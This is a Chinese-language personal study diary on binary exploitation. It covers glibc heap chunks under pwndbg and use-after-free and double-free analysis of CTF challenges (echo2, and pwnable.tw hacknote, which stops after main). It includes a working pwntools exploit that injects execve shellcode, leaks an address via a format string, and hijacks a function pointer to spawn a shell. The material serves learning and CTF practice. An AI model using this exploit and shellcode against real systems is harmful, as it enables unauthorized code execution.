文章

Pwn学习日记-4

Pwn学习日记-4

太复杂了,我操

就听在那说,也没有构成完整的体系。还是自己找资料吧

第10集不用看了,直接看陈老师的:https://www.yuque.com/hxfqg9/bin/nvrgrs

实际上堆先学的是:malloc内存管理

推荐阅读:malloc内存管理总结

鸡老师的:malloc源码分析夯爆了

大致有了个雏形,但是还是混乱。看了張元的视频,重新整理一下,讲得很不错,ppt和视频我都上传到B站了。后面由于时间问题很多也省略了。

堆调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 cat heap.c
#include<stdio.h>
#include<stdlib.h>

int main(){
	void *p1, *p2;
	p1 = malloc(0x30);
	p2 = malloc(0x30);
	free(p1);
	free(p2);
	return 0;
}
 gcc -m32 -g heap.c -o heap_32

执行完两个malloc后,看堆:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> heap
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.

Allocated chunk | PREV_INUSE
Addr: 0x5655a008
Size: 0x190 (with flag bits: 0x191)

Allocated chunk | PREV_INUSE
Addr: 0x5655a198
Size: 0x40 (with flag bits: 0x41)

Allocated chunk | PREV_INUSE
Addr: 0x5655a1d8
Size: 0x40 (with flag bits: 0x41)

Top chunk | PREV_INUSE
Addr: 0x5655a218
Size: 0x21de8 (with flag bits: 0x21de9)

可以看到第一个Allocated chunk是系统初始化的chunk,p默认是1。

第二、三个chunk是我们创建的,pwndbg为了方便调试,这里显示的是header的地址,其理论空间为:0x30(手动创建的空间) + 0x4(size) + 0x4(prev_size)=0x38,由于16字节对齐,所以向上取整,是0x40空间,加上flag是0x41

Q:1是存在size末尾的,为什么算到总共的空间中?

A:由于对齐,所以空间只能是16字节倍数,那个1实际上是用来标记p的,堆管理器在读取大小的时候会将这个1抹去。

看一下p1的chunk空间:

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> x/20x 0x5655a198
0x5655a198:	0x00000000	0x00000041	0x00000000	0x00000000
0x5655a1a8:	0x00000000	0x00000000	0x00000000	0x00000000
0x5655a1b8:	0x00000000	0x00000000	0x00000000	0x00000000
0x5655a1c8:	0x00000000	0x00000000	0x00000000	0x00000000
0x5655a1d8:	0x00000000	0x00000041	0x00000000	0x00000000
pwndbg> x/20x p1
0x5655a1a0:	0x00000000	0x00000000	0x00000000	0x00000000
0x5655a1b0:	0x00000000	0x00000000	0x00000000	0x00000000
0x5655a1c0:	0x00000000	0x00000000	0x00000000	0x00000000
0x5655a1d0:	0x00000000	0x00000000	0x00000000	0x00000041
0x5655a1e0:	0x00000000	0x00000000	0x00000000	0x00000000

98到c8都是p1 chunk,d8刚好是p2 chunk的地址。可以知晓是连续的,上面也能看出代码里p1地址是userdata的起始地址,pwndbg显示的是header起始地址。

free后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5655a008
Size: 0x190 (with flag bits: 0x191)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x5655a198
Size: 0x40 (with flag bits: 0x41)
fd: 0x5655a

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x5655a1d8
Size: 0x40 (with flag bits: 0x41)
fd: 0x5650c4fa

Top chunk | PREV_INUSE
Addr: 0x5655a218
Size: 0x21de8 (with flag bits: 0x21de9)

pwndbg> x/20x 0x5655a198
0x5655a198:	0x00000000	0x00000041	0x0005655a	0xf3fe8505
0x5655a1a8:	0x00000000	0x00000000	0x00000000	0x00000000
0x5655a1b8:	0x00000000	0x00000000	0x00000000	0x00000000
0x5655a1c8:	0x00000000	0x00000000	0x00000000	0x00000000
0x5655a1d8:	0x00000000	0x00000041	0x5650c4fa	0xf3fe8505

可以看到p1的chunk被放到了tcache bins里面,而且多了fd的值,在第一行的第三个单元,也就是之前的用户空间。

这里超纲了,还没学tcache,而且这里有指针保护,fd是运算过的,第四个单元是key字段貌似是tcache的地址。

如果是老版本没有tcache,这里应该显示fastbins。

p2的chunk 里面的fd也是运算的,老版本应该是p1的地址

fd、bk是free后才有,把userdata前几个字节拿来保存,形成链表,像 tcachefastbin 这种单向链表,通常只有 fd,而unsort bins都有,它是双向循环链表。

张元讲得真好

UAF

1
2
3
4
5
6
7
8
9
10
pwndbg> checksec
File:     /home/pwn/Desktop/NTU-Computer-Security/week3/uaf/share/uaf
Arch:     amd64
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
FORTIFY:    Enabled
Stripped:   No

伪代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v5; // [rsp+8h] [rbp-18h]
  unsigned int nbytes; // [rsp+Ch] [rbp-14h]
  void (**nbytes_4)(void); // [rsp+10h] [rbp-10h]
  void *buf; // [rsp+18h] [rbp-8h]

  init(argc, argv, envp);
  nbytes_4 = malloc(0x10u);
  *nbytes_4 = welcome_func;
  nbytes_4[1] = bye_func;
  (*nbytes_4)();
  free(nbytes_4);
  v5 = 3;
  while ( v5-- )
  {
    printf("Size of your message: ");
    nbytes = read_int();
    buf = malloc(nbytes);
    printf("Message: ");
    read(0, buf, nbytes);
    printf("Saved message: %s\n", buf);
    free(buf);
  }
  nbytes_4[1]();
  return 0;
}

nbytes_4开辟了16字节空间,定义了俩函数。ida里面点中nbytes_4,发现while里面没有高亮,只有倒数第二行有,漏洞很明显,倒数第二行,调用了free过的函数。

他while跑完就会崩:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ ./uaf
Hello ~~~
Size of your message: 100
Message: KKKKKKKKQQQQQQQQ
Saved message: KKKKKKKKQQQQQQQQ

Size of your message: 100
Message: qwert
Saved message: qwert

Size of your message: 100
Message: qwert 
Saved message: qwert

zsh: segmentation fault (core dumped)  ./uaf

根据first fit原理,我让它开辟一个16字节的空间,它都会使用nbytes_4free 掉的空间。16是0x10,加上header已经是0x20,这已经刚刚好是16倍数了,精确使用16即可。

打印我输入的message后,会leak之前的bye_function地址,然后求出base地址,计算backdoor地址。

由于老师用的ubuntu 18,我是22,很多时候由于指针加密和tcache搞得很麻烦。不过原理是相通的

下面两道题目是星盟那个课的说实话,没太听懂,原理我知道,但是自己做不出来,总是在某些细节写不出来。

打算复习一下栈溢出先。

fmtstr_uaf

1
2
3
4
5
6
7
8
9
10
11
❯ checksec echo2
[*] '/home/pwn/Desktop/pwn_learning/Exercises/fmtstr_uaf/echo2'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

运行了一下,4个选项,1:不支持,2和3都是打印我输入的名字。4是问我要不要退出,第一次我写了n,取消退出。再次按4触发doublefree

ida:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int __fastcall main(int argc, const char **argv, const char **envp)
{
  _QWORD *v3; // 定义一个指针
  unsigned int i; // [rsp+Ch] [rbp-24h] BYREF
  _QWORD v6[4]; // v6大小为4 * 8 = 32字节

  setvbuf(stdout, nullptr, 2, 0);
  setvbuf(stdin, nullptr, 1, 0);
  o = malloc(0x28u); //开辟40字节空间,5字长
  *(o + 3) = greetings; //o[3]=greetings
  *(o + 4) = byebye; //o[4]=byebye
  printf("hey, what's your name? : ");
  __isoc99_scanf("%24s", v6); // 往 v6 这块内存写入 最多 24 字节字符串 + '\0'
  v3 = o; // 把o赋给v3,v3和o指向同一块chunk
  *o = v6[0]; // 第一个Qword给o[0],后面以此类推
  v3[1] = v6[1];
  v3[2] = v6[2];
  id = v6[0]; //再给id一次
  getchar(); //吃掉缓冲区里剩的换行符,防止影响后面输入输出
  func[0] = echo1; // 把函数名存在数组里
  qword_602088 = echo2; //实际上是func[1],由于IDA没识别出结构,这里根据每次+8推导出来的,双击func看地址
  qword_602090 = echo3;
  for ( i = 0; i != 121; i = getchar() ) // 按r,121是'y'的ASCII,getchar是每轮循环结束读取一个字符
  {
    while ( 1 )
    {
      while ( 1 )
      {
        puts("\n- select echo type -");
        puts("- 1. : BOF echo");
        puts("- 2. : FSB echo");
        puts("- 3. : UAF echo");
        puts("- 4. : exit");
        printf("> ");
        __isoc99_scanf("%d", &i); //输入i
        getchar(); //清除最后的换行符
        if ( i > 3 ) 
          break;
        (func[i - 1])(); //不大于3的话,调用对应函数。
      }
      if ( i == 4 ) //4的话跳出循环
        break;
      puts("invalid menu");
    }
    cleanup(); //直接清理
    printf("Are you sure you want to exit? (y/n)"); //询问是否退出
  }
  puts("bye");
  return 0;
}

可以看到,选项4执行了break跳出循环,然后执行cleanup,但是此时我并没有开始选择是否退出,他就cleanup了,选择否后,再次按4,又进行了一次cleanup,所以double free

echo2:

1
2
3
4
5
6
7
8
9
10
__int64 echo2()
{
  char format[32]; // [rsp+0h] [rbp-20h] BYREF

  (*(o + 3))(o); // o[3](o) , 调用greetings函数
  get_input(format, 32); // 往 format 里读最多 32 字节
  printf(format); // 格式化字符串漏洞
  (*(o + 4))(o); // o[4](o) , 调用 byebye 函数
  return 0;
}

echo3:

1
2
3
4
5
6
7
8
9
10
11
12
__int64 echo3()
{
  char *s; // [rsp+8h] [rbp-8h]

  (*(o + 3))(o); // greetings(o)
  s = malloc(0x20u); // 分配 32 字节堆块
  get_input(s, 32); // 读入32字节内容到s
  puts(s); // 打印出来
  free(s); // 释放s
  (*(o + 4))(o); // byebye(o)
  return 0;
}

cleanup:

void cleanup()
{
  free(o); // 释放o堆块
}

有点思路了,现释放o,再用s创建一下占用o的空间,再格式化字符串漏洞写数据到某个位置。

echo3有个UAF,可执行自定义函数,但是远程肯定有ASLR,所以用echo2的fmtstr漏洞泄露地址。

o的空间是0x28,在cleanup后被free。echo3里开辟s的空间是0x20,根据first fit原理,s用o的空间,0x20是3字长,所以会用o的前四字长,而o[3]是greeting,这里改写s的之后,即使s被释放,但不影响o调用数据。o在哪里调用呢?还是echo3的第一行,o[3](o)

exp要删去最后的hello:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

p=process("./echo2")
elf=ELF("./echo2")

p.recvuntil("hey, what's your name? : ")
shellcode=b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.sendline(shellcode)
p.recvuntil(b"> ")
p.sendline(b"2")

payload=b"%10$p"+b"A"*3
p.sendline(payload)
p.recvuntil(b"0x")
shellcode_addr=int(p.recvuntil(b'AAA',drop=True),16)-0x20


p.recvuntil(b"> ")
p.sendline(b"4")
p.recvuntil(b"to exit? (y/n)")
p.sendline(b"n")

p.recvuntil(b"> ")
p.sendline(b"3")
# p.recvuntil(b"hello \n")
p.sendline(b"A"*24+p64(shellcode_addr))
p.interactive()

pwnable.tw hacknote(heap1)

1
2
3
4
5
6
7
8
❯ checksec hacknote
[*] '/home/pwn/Desktop/pwn_learning/Exercises/pwnable.tw hacknote/hacknote'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)

ida,已重命名变量:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void __noreturn main()
{
  int index; // eax
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v2; // [esp+Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  setvbuf(stdout, nullptr, 2, 0);
  setvbuf(stdin, nullptr, 2, 0);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, buf, 4u);
      index = atoi(buf);
      if ( index != 2 )
        break;
      delete();
    }
    if ( index > 2 )
    {
      if ( index == 3 )
      {
        print();
      }
      else
      {
        if ( index == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( index != 1 )
        goto LABEL_13;
      add();
    }
  }
}

main没什么好说的,主要在每个分支函数。

本文由作者按照 CC BY 4.0 进行授权